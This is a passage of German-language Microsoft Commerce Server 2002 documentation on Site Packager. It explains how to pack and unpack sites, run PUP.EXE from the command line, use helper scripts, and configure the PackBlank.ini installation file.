    SQL Server-Anmeldename | Geben Sie den SQL Server-Anmeldenamen für die Datenbanken ein.
    SQL Server-Anmeldekennwort | Geben Sie das Kennwort für die SQL Server-Anmeldung ein.
  8. Klicken Sie auf OK.

Auswählen der zu entpackenden Anwendungen

  1. Überprüfen Sie im Dialogfeld Anwendungen auswählen, ob die zu entpackenden Anwendungen ausgewählt sind. Klicken Sie dann auf Weiter.
  2. Nehmen Sie im Dialogfeld Wählen Sie die IIS-Computer, -Websites und -Pfade aus die folgenden Einstellungen vor:
    Funktion | Aktion
    IIS-Computername Geben Sie den Computernamen des Remote-IIS-Webservers für die ausgewählten Anwendungen ein.

    Klicken Sie zum Hinzufügen der Websites für den Computer auf Aktualisieren.
    IIS-Website Wählen Sie den Namen der IIS-Website für die ausgewählten Anwendungen aus.

    Hinweis

    • Wenn Sie eine Site in der Verwaltungswebsite von IIS entpacken, sind die Site und Business Desk aufgrund der Sicherheitsbeschränkungen für die IIS-Verwaltung nicht funktionsfähig.
    IIS-Pfad | Geben Sie den Namen des IIS-Pfads für die ausgewählten Anwendungen ein.

    Hinweise

    • Jede Anwendung im Dialogfeld Wählen Sie die IIS-Computer, -Websites und -Pfade aus muss separat konfiguriert werden:
    • Site Packager entpackt jede Anwendung im Basisverzeichnis der jeweiligen IIS-Website. Im Basisverzeichnis erstellt Site Packager ein Unterverzeichnis mit dem Namen des virtuellen IIS-Verzeichnisses der Anwendung.
  3. Klicken Sie auf Weiter.

    Daraufhin wird eine Meldung mit dem Hinweis angezeigt, dass Sie für jede Anwendung, die auf einem Remotecomputer entpackt wird, die Datei UNPACK.BAT ausführen müssen. Nach Abschluss des Entpackvorgangs finden Sie die spezifischen Speicherorte der einzelnen UNPACK.BAT-Dateien in der Protokolldatei von Site Packager.

Festlegen der Einstellungen für die gewählten Ressourcen

  1. Wenn beim Installationsprozess die Ressource Data Warehouse hinzugefügt wurde, wird das Dialogfeld Data Warehouse angezeigt. Führen Sie zum Festlegen der Einstellungen für die Ressource Data Warehouse folgende Schritte aus:
    Funktion | Aktion
    Name | Geben Sie einen Namen für die globale Data Warehouse-Ressource ein.
    Server | Eingeben des Namens des SQL Analysis (OLAP)-Computers.
    Datenbank | Eingeben des Namens der SQL Analysis (OLAP)-Datenbank.
  2. Klicken Sie auf OK.

    Wenn der Site die Ressource Profile hinzugefügt wurde, wird das erste von zwei Dialogfeldern mit der Bezeichnung Profilsystem angezeigt.

  3. Wenn Sie eine Lösungssite entpacken, klicken Sie auf Weiter, um die Standardeinträge zu übernehmen.
  4. Wenn Sie eigene Profileinstellungen festlegen möchten, gehen Sie folgendermaßen vor:
    Funktion Aktion
    Profilschemadefinition Beim Packen der Site extrahiert Site Packager das Profilschema aus Ihrer Profildatenbank und speichert es in einer XML-Datei. Geben Sie die XML-Datei hier an, damit sie entpackt wird.

    Wenn Sie eine Lösungssite entpacken, übernehmen Sie die standardmäßig vorgeschlagene XML-Datei ProfileDefinition. Die Datei enthält folgende Profildefinitionen: Adressen, Pauschalbestellungen, Organisation, Benutzerobjekt und Zielgruppenadressierungs-Kontext.
    Sitebegriffsdefinition Beim Packen der Site extrahiert Site Packager die Sitebegriffsdefinition aus der Datenbank und speichert sie in einer XML-Datei. Geben Sie die XML-Datei hier an, damit sie entpackt wird.

    Wenn Sie eine Lösungssite entpacken, übernehmen Sie die standardmäßig vorgeschlagene XML-Datei SiteTerms. Die Datei enthält die verfügbaren vordefinierten Sitebegriffe.
    Ausdrucksdefinition Beim Packen der Site extrahiert Site Packager die von Ihnen mithilfe von Business Desk festgelegten Ausdruckdefinitionen und speichert sie in einer XML-Datei. Geben Sie die XML-Datei hier an, damit sie entpackt wird.

    Wenn Sie eine Lösungssite entpacken, wird eine Standard-XML-Datei mit der Bezeichnung ExpressionDefinition bereitgestellt. Die Datei enthält keine vordefinierten Ausdrücke für die Lösungssite.
  5. Klicken Sie auf Weiter.

    Wenn der Site die Ressource Profile hinzugefügt wurde, wird das zweite von zwei Dialogfeldern mit der Bezeichnung Profilsystem angezeigt.

  6. Wenn Sie eine Lösungssite entpacken, klicken Sie auf Weiter, um die Standardeinträge zu übernehmen.

    Wenn Sie eigene Profileinstellungen festlegen möchten, gehen Sie folgendermaßen vor:

    Funktion Aktion
    Verbindungszeichenfolge für das Profilsystem Übernehmen Sie die standardmäßig vorgeschlagene Verbindungszeichenfolge für die Profildatenbank, oder klicken Sie auf Ändern, um die Verbindungszeichenfolge zu konfigurieren.

    Hinweis

    • Wenn Sie die XML-Datei ändern, werden die in der Verbindungszeichenfolge enthaltenen Daten von Commerce Server nicht übernommen. Die neue XML-Datei kann andere Typen sowie eine andere Anzahl zusammengesetzter Datenspeicher als die Standard-XML-Datei enthalten. Sie müssen die Verbindungszeichenfolge daher erneut eingeben.
    Schemadefinitionsskripts (*.sql, *.vbs) Geben Sie das Schemadefinitionsskript an, mit dem die Profiltabellen in den Laufzeitdatenspeichern (SQL-Tabellen zum Speichern von Benutzerdaten wie Adresse, Unternehmen usw.) erstellt werden sollen.

    Wenn Sie eine Lösungssite entpacken, erstellt SCHEMAUPM_SQLSource.SQLSource die Tabellen für die Standardprofildefinitionen: Adressen, Pauschalbestellungen, Organisation, Benutzerobjekt und Zielgruppenadressierungs-Kontext.

    Ein Beispielskript finden Sie in der Datei ProfileSQL.sql unter \Programme\Microsoft Commerce Server 2002.

    Wenn Sie die Benutzerobjekt-Tabelle oder andere Profilschemadefinitionen modifizieren, müssen Sie SQL Server Enterprise Manager verwenden, um ein Skript zu erstellen, das hier verwendet werden kann. Weitere Informationen finden Sie unter Packen von erweiterten Profilschemas.
    Datenauffüllungsskripts (*.sql) Wenn Sie die Profildaten aus einer Profildatenbank extrahiert haben, können Sie Datenauffüllungsskripts angeben, mit denen Ihre Daten beim Entpacken in die neue Profildatenbank importiert werden.

    Ein Beispielskript mit Daten für zwei Benutzer finden Sie in der Datei PopulateProfileSQL.sql unter \Programme\Microsoft Commerce Server 2002.

    Weitere Informationen zur Verwendung von Skripts finden Sie unter Verwenden von Skripts mit Site Packager.
  7. Klicken Sie auf OK.

Abschließen des Entpackungsprozesses

  1. Wenn Sie mit der integrierten Windows-Sicherheit arbeiten, prüfen Sie im Dialogfeld Commerce Server Site Packager die Liste der entpackten Ressourcen, welche für die entsprechenden Windows-Konten Berechtigungen erfordern, und klicken Sie dann auf OK.
  2. Sehen Sie sich im Dialogfeld Das Entpacken ist abgeschlossen die Liste der erstellten SQL-Datenbanken und der IIS-Anwendungen an. Um die Ereignisliste in der Protokolldatei von Site Packager zu überprüfen, klicken Sie auf Protokolldatei anzeigen.

    Hinweis

    • Wenn Sie auf einem Remoteserver entpacken, erfasst Site Packager die meisten Statusinformationen in der PUP.LOG-Datei des lokalen Computers. Einige Statusinformationen werden jedoch auch in der PUP.LOG-Datei des Remotecomputers gespeichert. Sie sollten daher stets beide PUP.LOG-Dateien aufrufen.
  3. Klicken Sie im Dialogfeld Das Entpacken ist abgeschlossen auf Protokolldatei anzeigen, um die Liste der Ereignisse in der Site Packager-Protokolldatei anzuzeigen.

    Daraufhin wird die Protokolldatei von Site Packager (PUP.LOG) angezeigt.

  4. Suchen Sie in der Protokolldatei nach der Textzeichenfolge "unpack.bat", die der von Ihnen entpackten Site zugeordnet ist. Zum Text "unpack.bat" finden Sie folgenden Protokolleintrag vor:
    \\Servername\Laufwerk$\inetpub\wwwroot\Sitename\unpack.bat wurde erstellt.
 Führen Sie diese Stapeldatei aus, um das Entpacken der Anwendung Anwendungsname abzuschließen,

    wobei Servername für den Namen des Remote-Webservers, Laufwerk für den Laufwerkbuchstaben auf dem Remoteserver, auf dem die Site entpackt wurde, Sitename für den Namen der Site, die auf dem Remote-Webserver entpackt wurde und Anwendungsname für den Namen der Anwendung steht, die auf dem Remote-Webserver entpackt wurde.

  5. Führen Sie die Datei UNPACK.BAT auf dem Remote-Webserver aus, um den Entpackungsprozess abzuschließen.

    Hinweis

  • Wenn Sie eine Anwendung erstellen, enthält das Stammverzeichnis möglicherweise ein Skript mit der Bezeichnung UNPACK.VBS (wenn Sie die leere Site entpacken, ist kein solches Skript vorhanden). Achten Sie darauf, die Datei sofort nach dem Entpacken zu löschen oder zu sichern. Anonyme Benutzer können auf die Datei zugreifen. Eine nicht autorisierte Verwendung dieser Skriptdatei könnte zu einem Denial of Service oder zu einem Verlust von Einstellungen führen. Weitere Informationen zum Sichern der Site finden Sie unter Sichern der Site.
  1. Klicken Sie auf Fertig stellen, um Site Packager zu schließen.


Wo Ressourcen und Daten entpackt werden

Die folgende Tabelle gibt eine Übersicht über die Ressourcen und Daten, die beim Packen einer Site für jede Ressource gepackt werden.

Ressource | Gepackte Daten
Anwendungsstandardkonfiguration | Alle Eigenschaftswerte
Kampagnen | Folgende Tabellen in der Kampagnendatenbank: industry_code, customer, event_type, campaign, creative_type, creative_size, creative, creative_property, creative_property_value, campaign_item_types, campaign_item, order_discount, dm_item, ad_item, creative_type_xref, page_group, page_group_xref, target_group, target, target_group_xref, order_discount_expression, order_discount_misc.
CS-Authentifizierung | Einstellungen in der Datei AUTHSETUP.INI. Beim Entpacken einer Site können Sie eine neue Ressource erstellen oder auf eine bestehende verweisen.
Commerce Server-Data Warehouse | Keine. Beim Entpacken einer Site können Sie eine neue Data Warehouse-Ressource erstellen oder auf eine bestehende zeigen.
Commerce Server Direct Mailer | Keine. Bestätigt, dass in der Site eine Direct Mailer-Ressource vorhanden ist. Die zu verwendende globale Ressource für Direct Mailer wird beim Entpacken angegeben. Beim Entpacken einer Site können Sie auf eine Direct Mailer-Ressource zeigen. Sie müssen das Commerce Server-Setup verwenden, um eine neue zu erstellen.
Vorhersagedienst | Keine. Bestätigt, dass in der Site eine Vorhersageressource vorhanden ist. Die zu verwendende globale Ressource für den Vorhersagedienst wird beim Entpacken angegeben. Beim Entpacken einer Site können Sie auf eine Vorhersageressource zeigen. Sie müssen das Commerce Server-Setup verwenden, um eine neue zu erstellen.
Produktkatalogsystem | Folgende Tabellen in der Katalogdatenbank: CatalogAttributes, CatalogDefinitions, CatalogDefinitionProperties, CatalogGlobal, CatalogUsedDefinitions, CatalogEnumValues, CatalogStatus, CatalogCustomCatalogs, CatalogCustomPrices, CatalogSet_Info, CatalogSet_Catalogs, CatalogToVendorAssociation, x_ProductsComplete, x_Relationships, x_Hierarchy.
Profile | Schemaskript und Datenskript. Bestehende Datenbanken werden nicht gepackt. Beim Entpacken einer Site können Sie eine neue Ressource erstellen oder auf eine bestehende zeigen.
Transaktionen | Folgende Tabellen der Transaktionsdatenbank: TransDimension, TransCategory.
Transaktionskonfiguration | Folgende Tabellen der Transaktionskonfigurationsdatenbank: Decode, Region, RegionalTax, ShippingConfig, TableShippingRates.


Packen einer Site

Beim Packen einer Site werden Ihre Anwendungen und Einstellungen in einer einzigen Paketdatei gespeichert. Eine Übersicht darüber, welche IIS-Eigenschaften in diesem Paket enthalten sind, finden Sie unter Gepackte IIS-Eigenschaften.

Hinweis

  • Informationen zum Einschließen von benutzerdefinierten Tabellen und den darin enthaltenen Daten finden Sie unter Using the GenericPup Object (englisches Thema).

So packen Sie eine Site

  1. Klicken Sie auf Start, zeigen Sie auf Programme, zeigen Sie auf Microsoft Commerce Server 2002. Klicken Sie anschließend auf Commerce Site Packager.
  2. Wählen Sie im Dialogfeld Willkommen die Option Vorhandene Site packen, und klicken Sie auf Weiter.
  3. Führen Sie im Dialogfeld Site packen folgende Schritte aus:
    Funktion | Aktion
    Zu packende Site | Auswählen der hinzuzufügenden Site aus der Liste verfügbarer Sites.
    Zu erstellende Paketdatei Geben Sie den Namen der zu erstellenden Paketdatei ein, oder klicken Sie auf Durchsuchen.

    Nachdem Sie auf die Schaltfläche Durchsuchen geklickt haben, wechseln Sie im Dialogfeld Speichern unter zu dem Ordner mit der zu entpackenden Datei, wählen Sie die Datei aus, und klicken Sie anschließend auf Speichern.

  4. Klicken Sie nach der Rückkehr zum Bildschirm Site packen auf Weiter.
  5. Wenn der zu packenden Site die Ressource Profile hinzugefügt wurde, wird das Dialogfeld Profilsystem angezeigt. Führen Sie im Dialogfeld Profilsystem folgende Schritte aus:
    Funktion Aktion
    Schemadefinitionsskripts Beim Packen der Profildefinitionen können Sie SQL Server Enterprise Manager zum Exportieren der Definitionen (Schema) aus der SQL-Datenbank in eine SQL-Datei verwenden und den Namen dieser Datei hier angeben.

    Beim Entpacken der Site geben Sie diese Datei an, sodass die Definitionen in die Profildateien der Laufzeitdatenspeicher (SQL-Tabellen zum Speichern von Benutzerdaten wie Adresse, Unternehmen usw.) entpackt werden.

    Weitere Informationen finden Sie unter Packen von erweiterten Profilschemas.
    Datenauffüllungsskripts Um die in der Profildatenbank gespeicherten Profildaten zu packen, exportieren Sie die Profildaten mit Enterprise Manager aus der SQL-Datenbank in eine SQL-Datei und geben danach den Namen dieser Datei hier an.

    Beim Entpacken der Site geben Sie diese SQL-Datei an, um Ihre Profiltabellen in den Laufzeitdatenspeichern (SQL-Tabellen zum Speichern von Benutzerdaten wie Adresse, Unternehmen usw.) aufzufüllen.

    Ein Beispielskript finden Sie in der Datei PopulateProfileSQL.sql unter \Programme\Microsoft Commerce Server 2002.

    Weitere Informationen zur Verwendung von Skripts finden Sie unter Verwenden von Skripts mit Site Packager.
  6. Klicken Sie auf OK.
  7. Klicken Sie im Dialogfeld Das Packen ist abgeschlossen. auf Protokolldatei anzeigen, um die Liste der Ereignisse in der Site Packager-Protokolldatei anzuzeigen.
  8. Klicken Sie auf Fertig stellen, um Site Packager zu schließen.

Hinweise

  • Wenn Sie eine Commerce Server-Anwendung packen, deren virtuelles Verzeichnis untergeordnete IIS-Anwendungen enthält, packt Site Packager auch die Ordner und Dateien der untergeordneten Anwendungen. Wenn Sie die Ordner und Dateien der untergeordneten Anwendungen nicht in das Paket aufnehmen möchten, müssen Sie sie nach dem Entpacken der übergeordneten Commerce Server-Anwendung löschen.
  • Site Packager packt keine Dateien in untergeordneten virtuellen Verzeichnissen der IIS-Anwendung. Wenn Sie Dateien in untergeordneten virtuellen Verzeichnissen packen möchten, verschieben Sie vor dem Packen der Site die Ordner und Dateien in untergeordnete Verzeichnisse des Stammverzeichnisses der IIS-Anwendung.
  • Bevor Sie eine Site packen, die Anwendungen (z. B. Retail und RetailBusinessDesk) auf separaten Webservern hat, müssen Sie einen der Webserver zu der anderen Anwendung hinzufügen. Wenn z. B. Retail auf Computer A und RetailBizDesk auf Computer B installiert ist, können Sie Site Packager auf Computer B ausführen, um diesen als Webserver für Retail hinzuzufügen. Anschließend können Sie die Site von Computer B aus packen. (Umgekehrt können Sie Computer A zu RetailBizDesk hinzufügen und die Site von dort aus packen.) Weitere Informationen finden Sie unter Hinzufügen eines Webservers zu einer Anwendung.

Siehe auch

Gepackte IIS-Eigenschaften

Entpacken einer Site

Ausführen von Site Packager von der Befehlszeile

Packen anderer Daten


Verwenden von Skripts mit Site Packager

Sie können vier Typen von Microsoft Visual Basic-Skripts mit Commerce Server Site Packager verwenden. Pre-Packaging-, Post-Packaging-, Anwendungs- und Schemadefinitionsskripts.

Dieser Abschnitt beinhaltet folgende Themen:

  • Pre-Packaging-Skripts für Site Packager
  • Post-Packaging-Skripts für Site Packager
  • Anwendungsskripts für Site Packager
  • Packen von erweiterten Profilschemas

Siehe auch

Ausführen von Site Packager von der Befehlszeile


Pre-Packaging-Skripts für Site Packager

Bevor die Site entpackt wird, führt Site Packager ein Pre-Packaging-Skript aus, sobald der Paketname bekannt ist. Pre-Packaging-Skripts müssen folgendermaßen benannt werden: PrePaketname.vbs, z. B. PreRetail.vbs.

Ein Pre-Packaging-Skript besitzt den Parameter Modus ( /s: ). Dieser gibt an, ob Site Packager im automatischen oder normalen Installationsmodus ausgeführt wird. Damit die Pre-Packaging-Skripts ausgeführt werden können, müssen sie sich im selben Verzeichnis wie das zu entpackende Paket befinden.


Post-Packaging-Skripts für Site Packager

Site Packager führt nach Beendigung des Entpackens (aber bevor das Dialogfeld Das Entpacken ist abgeschlossen angezeigt wird) ein Post-Packaging-Skript aus. Post-Packaging-Skripts müssen folgendermaßen benannt werden: PostPaketname.vbs, z. B. PostRetail.vbs.

  • Sitename in Anführungszeichen ("MeineSite")
  • Modus ( /s): – legt automatischen bzw. normalen Installationsmodus fest

Damit Post-Packaging-Skripts ausgeführt werden können, müssen sie sich im selben Verzeichnis wie das zu entpackende Paket befinden.


Anwendungsskripts für Site Packager

Site Packager kann auch anwendungsspezifische Skripts ausführen. Anwendungsspezifische Skripts besitzen sechs Parameter:

  • Sitename in Anführungszeichen (/n:"MeineSite")
  • Anwendungsname in Anführungszeichen (/r:"MeineAnwendung")
  • Servernummer oder Instanznummer der IIS-Website, in der die Anwendung installiert wurde (/i:1)
  • Name des virtuellen Verzeichnisses, in das die Anwendung installiert wurde (/v:"MeinStamm")
  • Dateipfad in Anführungszeichen, in dem die Anwendungsdateien installiert sind (/d:"C:\inetpub\wwwstamm")
  • Modus ( /s: ) – legt automatischen bzw. normalen Installationsmodus fest

Anwendungsskripts werden für jede Anwendung ausgeführt, nachdem folgende Ereignisse aufgetreten sind:

  • Die Anwendung wurde installiert, und die Dateien wurden kopiert.
  • Die IIS-Eigenschaften wurden auf die Anwendung eingestellt.
  • Die Anwendungsinformationen wurden in die Verwaltungsdatenbank geschrieben.
  • Site Packager hat Data Warehouse mitgeteilt, dass die Anwendung existiert.

Hinweis

  • Wenn Sie eine Anwendung erstellen, enthält das Stammverzeichnis der Anwendung möglicherweise ein Skript mit der Bezeichnung UNPACK.VBS (wenn Sie die leere Site entpacken, ist kein solches Skript vorhanden). Diese Datei muss sofort nach dem Entpacken gelöscht oder gesichert werden. Anonyme Benutzer können auf die Datei zugreifen. Eine nicht autorisierte Verwendung dieser Skriptdatei könnte zu einem Denial of Service oder zu einem Verlust von Einstellungen führen. Weitere Informationen zum Sichern der Site finden Sie unter Sichern der Site.


Packen von erweiterten Profilschemas

Wenn Sie ein Paket mit erweiterten Profilschemas erstellen möchten, müssen Sie das Skript vor dem Packen der Site erstellen. Die folgenden Schritte zeigen Ihnen, wie Sie ein erweitertes Profilschema packen können:

  1. Verwenden Sie SQL Server Enterprise Manager, um die Benutzerobjekt-Tabelle zu erweitern und eigene Attribute hinzuzufügen. Weitere Informationen finden Sie in der SQL Server-Onlinedokumentation.
  2. Fügen Sie die neuen Datenelemente zum Datenobjekt hinzu. Weitere Informationen finden Sie unter Hinzufügen eines neuen Datenelements in der Profilressource.
  3. Verwenden Sie SQL Server Enterprise Manager, um Skripts für Ihr erweitertes Profilschema zu erstellen und zu exportieren. Weitere Informationen finden Sie in der SQL Server-Onlinedokumentation.
  4. Beim Packen der Site fordert Sie Site Packager auf, den Speicherort des von Ihnen erstellten Schemadefinitionsskripts anzugeben. Wenn Sie Ihr Skript nicht angeben, packt Site Packager das Standardskript, das Ihr erweitertes Profilschema nicht enthält.

Siehe auch

UserObject Profile Schema (englisches Thema)

Packen einer Site

Gepackte IIS-Eigenschaften


Ausführen von Site Packager von der Befehlszeile

Sie können Commerce Server Site Packager von der Befehlszeile mithilfe der Laufzeitdatei PUP.EXE ausführen. Site Packager enthält eine Sammlung von Befehlszeilenoptionen, die Sie zum Ausführen von Tasks für Sites und Ressourcen verwenden können, z. B. zum Packen, Entpacken und Löschen einer Site oder Ressource. Außerdem können Sie mithilfe von Microsoft Visual Basic-Skripts eindeutige Ressourcenreferenzen für Ihre benutzerdefinierten Installationsanforderungen einrichten.

Um z. B. ein Paket mit dem Namen BlankSite zu erstellen, würden Sie folgende Befehlszeichenfolge in die Befehlszeile eingeben:

pup /p  /s:BlankSite /f:C:\Program Files\Microsoft Commerce Server 2002\PuP Packages\XBlank.pup
 /i:C:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\SiteCreate\packBlank.ini

Hinweis

  • Wenn Sie Befehle zum Packen einer Site eingeben, müssen Sie die Parameter durch Leerzeichen trennen. Außerdem muss der vollständige Pfad und Dateiname der Rückmeldungsdatei angegeben werden (Die Rückmeldungsdatei im vorangegangenen Beispiel heißt packBlank.ini.).
  • Wenn Sie das Programm von der Befehlszeile aus ausführen, wird das Dialogfeld Profilsystem von Site Packager weiter angezeigt.

Die folgende Tabelle gibt eine Übersicht über die Befehlszeilenoptionen, die über die Datei Pup.exe zur Verfügung stehen.

Option | Packen | Entpacken | Beschreibung
/s: | X |  | Gibt den Namen der zu packenden Site an. /s:Name der Site
/f: | X | X | Gibt den Pfad der zu packenden Datei an. /f:vollständiger zu packender Pfad
/r | X | X | Zeigt das Dialogfeld Ressourcen auswählen an.
/i: | X | X | Gibt die INI-Datei für die automatische Installation an. /i:vollständiger Pfadname
/p | X |  | Packt eine Site oder Ressource.
/u |  | X | Entpackt eine Site oder Ressource.
/a: | X | X | Gibt den Namen der Anwendung an. /a:Anwendungsname
/w: |  | X | Gibt den Namen des Webservers an. /w:Webservername Verwenden Sie diese Option, um einen lokalen Computer als Webserver zu entpacken.

Um z. B. eine Site mit dem Namen Retail zu entpacken, würden Sie folgenden Befehl verwenden:

"C:\Program Files\Microsoft Commerce Server 2002\PuP.exe" /u
/f:C:\Program Files\Microsoft Commerce Server 2002\PuP Packages\Retail.pup
/i:C:\Commerce\Retail.ini

Siehe auch

Anpassen von Site Packager-INI-Dateien


Anpassen von Site Packager-INI-Dateien

Im BlankSite-Paket von Commerce Server ist die Datei "PackBlank.ini" enthalten. Für die Retail- und Supplier-Lösungssites finden Sie eigene INI-Dateien unter http://go.microsoft.com/fwlink/?linkId=6491. Sie können diese INI-Dateien als Vorlagen für die Erstellung benutzerdefinierter INI-Dateien für Ihre eigenen Pakete verwenden. Diese INI-Dateien sind besonders nützlich zur Erstellung automatisierter Pakete, z. B. für Produktionsumgebungen, in denen Pakete nachts erstellt und morgens installiert werden sollen.

Sie können dieselbe INI-Datei sowohl zum Packen als auch zum Entpacken verwenden. Während des Packens bzw. Entpackens werden die für den Task irrelevanten Abschnitte ignoriert.

INI-Dateien werden über die Befehlszeile ausgeführt. Anweisungen und einen Beispielbefehl finden Sie unter Ausführen von Site Packager von der Befehlszeile.

Unten sehen Sie den Inhalt der Datei "PackBlank.ini" mit Kommentaren zu jedem Abschnitt. Ein Sternchen (*) weist auf Kommentare hin:

[General]

  • SiteName=BlankSite
  • Description=Blank site
  • NumOfResources= 12
  • NumOfApplications= 2
    Hinweis
    • Beim Entpacken einer Commerce Server-Site werden in der Regel zwei Anwendungen installiert: Eine Anwendung für die Website, auf welche Benutzer zugreifen, und eine andere Anwendung für Commerce Server Business Desk.

Es folgt eine Liste mit zu installierenden Ressourcen. Wenn Sie eine bestimmte Ressource nicht installieren möchten, löschen Sie die Zeile dieser Ressource aus der INI-Datei, und nummerieren Sie die Ressourcen danach neu durch. Die Reihenfolge, in der die Ressourcen entpackt werden, hat keinen Einfluss auf den Entpackungsvorgang. Prinzipiell werden immer alle Ressourcen vor den Anwendungen entpackt.

Beim Packen einer Site wird die in der INI-Datei enthaltene Ressourcenliste nicht gelesen. Stattdessen wird die gesamte Site gepackt.

  • Resource0=App Default Config
  • Resource1=Produktkatalog
  • Resource2=Kampagnen
  • Resource3=Data Warehouse der Site
  • Resource4=Transaktionen
  • Resource5=Transaktionskonfiguration
  • Resource6=Direct Mail
  • Resource7=Vorhersage
  • Resource8=BizData-Dienst
  • Resource9=Globales Data Warehouse
  • Resource10=Site-CS-Authentifizierung
  • Resource11=BDSecurity
  • Application0=BlankSite
  • Application1=BlankBizDesk
  • NumOfConnStrs= 7

Wichtig

  • Die Namen von Anwendungen müssen den Namen der entsprechenden gepackten Anwendungen entsprechen. Wenn das Paket beispielsweise mit dem Anwendungsnamen "BlankSite" erstellt wurde, muss der Anwendungsname ebenfalls "BlankSite" lauten. Wenn Sie den Namen der Anwendung ändern, müssen Sie die VRoot-Angabe ebenfalls ändern.
  • Die Ressourcen App Default Config und BDSecurity stellen die Mindestanforderungen beim Entpacken dar. Die Ressource BDSecurity ist nicht erforderlich, wenn Sie Ihr Business Desk anpassen (entfernen Sie in diesem Fall alle Abhängigkeiten mit der BDSecurity-Komponente).

[ConnStrs]

Nachfolgend werden die Verbindungszeichenfolgen für die einzelnen Ressourcen aufgeführt. Die Verbindungszeichenfolgen verwenden folgende Parameter:

ConnStrResourceName

Gibt den Namen der Ressource an.

ConnStrValue

Gibt den Wert der Verbindungszeichenfolge an.

ConnStrPropertyName

Gibt den Eigenschaftsnamen der Verbindungszeichenfolge an.

Folgendes Beispiel zeigt den Abschnitt [ConnStrs]:

Hinweis

  • Wenn Sie mit der integrierten Sicherheit arbeiten möchten (ConnStrValue), ersetzen Sie für jede Ressource die Parameter 'User ID=;Password=;' durch 'Integrated Security=SSPI'.
ConnStrResourceName0=Product Catalog
ConnStrPropertyName0=connstr_db_Catalog
ConnStrValue0=Provider=SQLOLEDB;Persist Security Info=False;Integrated Security='SSPI';Initial Catalog=BlankSite_commerce;Data Source=SERVERNAME;ConnStrResourceName1=Campaigns
ConnStrPropertyName1=connstr_db_Campaigns
ConnStrValue1=Provider=SQLOLEDB;Persist Security Info=False; Integrated Security='SSPI';Initial Catalog=BlankSite_commerce;Data Source=SERVERNAME;
ConnStrResourceName2=Transactions
ConnStrPropertyName2=connstr_db_Transactions
ConnStrValue2=Provider=SQLOLEDB;Persist Security Info=False; Integrated Security='SSPI';Initial Catalog=BlankSite_commerce;Data Source=SERVERNAME;
ConnStrResourceName3=TransactionConfig
ConnStrPropertyName3=connstr_db_TransactionConfig
ConnStrValue3=Provider=SQLOLEDB;Persist Security Info=False; Integrated Security='SSPI';Initial Catalog=BlankSite_commerce;Data Source=SERVERNAME;
ConnStrResourceName4=Biz Data Service
ConnStrPropertyName4=connstr_db_bds
ConnStrValue4=Provider=SQLOLEDB;Persist Security Info=False; Integrated Security='SSPI';Initial Catalog=BlankSite_commerce;Data Source=SERVERNAME;
ConnStrResourceName5=Global Data Warehouse
ConnStrPropertyName5=connstr_db_dw
ConnStrValue5=Provider=SQLOLEDB;Persist Security Info=False; Integrated Security='SSPI';Initial Catalog=BlankSite_dw;Data Source=SERVERNAME;
ConnStrResourceName6=BDSecurity
ConnStrPropertyName6=connstr_db_bdsecurity
ConnStrValue6=Provider=SQLOLEDB;Persist Security Info=False; Integrated Security='SSPI';Initial Catalog=BlankSite_commerce;Data Source=SERVERNAME;

[Direct Mail]

Verwenden Sie GlobalResourceName, um die globale Ressource einer globalen Ressource zuzuweisen, die bereits auf dem Computer vorhanden ist.

Hinweise

  • Die Option Fügen Sie eine neue globale Ressource hinzu kann nicht gemeinsam mit Direct Mail verwendet werden. Sie müssen eine Ressource angeben, die bereits auf dem Computer vorhanden ist.
  • Die Zeichenfolge wird gesucht und muss daher dem in Commerce Server-Manager angegebenen Namen entsprechen. Ist dies nicht der Fall, kann Site Packager nicht nach der Zeichenfolge suchen.
GlobalResourceName=Direct Mail on SERVERNAME

[Predictor]

Hinweise

  • Die Option Fügen Sie eine neue globale Ressource hinzu kann nicht gemeinsam mit der Vorhersage verwendet werden. Sie müssen eine Ressource angeben, die bereits auf dem Computer vorhanden ist.
  • Die Zeichenfolge wird gesucht und muss daher dem in Commerce Server-Manager angegebenen Namen entsprechen. Ist dies nicht der Fall, kann Site Packager nicht nach der Zeichenfolge suchen.
GlobalResourceName=Predictor on SERVERNAME

[BlankSite]

ASPDir=
VRoot=
Website=
Machine=

Hinweise

  • Website= ist die einzige erforderliche Eigenschaft.
  • Da nach der Eigenschaft Website gesucht wird, muss deren Name mit dem Websitenamen im MMC-Snap-In von IIS (Internetinformationsdienste) übereinstimmen. Ist dies nicht der Fall, kann Site Packager nicht nach der Eigenschaft suchen.
  • Die Eigenschaft Machine wird zum Entpacken einer Anwendung auf einem Remote-Webserver verwendet. Wenn Sie auf dem lokalen Server entpacken möchten, lassen Sie dieses Feld leer.

[BlankBizDesk]

ASPDir=
VRoot=
Website=
Machine=

    Hinweise

  • Website= ist die einzige erforderliche Eigenschaft.
    •

  • Da nach der Eigenschaft Website gesucht wird, muss deren Name mit dem Websitenamen im MMC-Snap-In von IIS (Internetinformationsdienste) übereinstimmen. Ist dies nicht der Fall, kann Site Packager nicht nach der Eigenschaft suchen.
    •

  • Die Eigenschaft Machine wird zum Entpacken einer Anwendung auf einem Remote-Webserver verwendet. Wenn Sie auf dem lokalen Server entpacken möchten, lassen Sie dieses Feld leer.
    •

[Biz Data Service]

    Hinweis

  • Die Zeichenfolge wird gesucht und muss daher dem in Commerce Server-Manager angegebenen Namen entsprechen. Ist dies nicht der Fall, kann Site Packager nicht nach der Zeichenfolge suchen.
    •

GlobalResourceName= (Add new global resource)

[Global Data Warehouse]

    Hinweis

  • Die Zeichenfolge wird gesucht und muss daher dem in Commerce Server-Manager angegebenen Namen entsprechen. Ist dies nicht der Fall, kann Site Packager nicht nach der Zeichenfolge suchen.
    •

GlobalResourceName= (Add new global resource)

[Site CS Authentication]

    Hinweise

  • Die Zeichenfolge wird gesucht und muss daher dem in Commerce Server-Manager angegebenen Namen entsprechen. Ist dies nicht der Fall, kann Site Packager nicht nach der Zeichenfolge suchen.
    •

GlobalResourceName= (Add new global resource)


Hilfe zu Dialogfeldelementen von Site Packager

Dieser Abschnitt enthält die kontextbezogenen Hilfethemen für Site Packager von Commerce Server.

Dieser Abschnitt beinhaltet folgende Themen:

  • Dialogfeld "Willkommen"
  • Dialogfeld "Site packen"
  • Dialogfeld "Entpacken"
  • Dialogfeld "Schnelles Entpacken"
  • Dialogfeld "Entpackmethode"
  • Dialogfeld "Sitename"
  • Dialogfeld "Ressourcen auswählen"
  • Dialogfeld "Globale Ressourcenzeiger"
  • Dialogfeld "Datenbank-Verbindungszeichenfolgen"
  • Dialogfeld "Anwendungen auswählen"
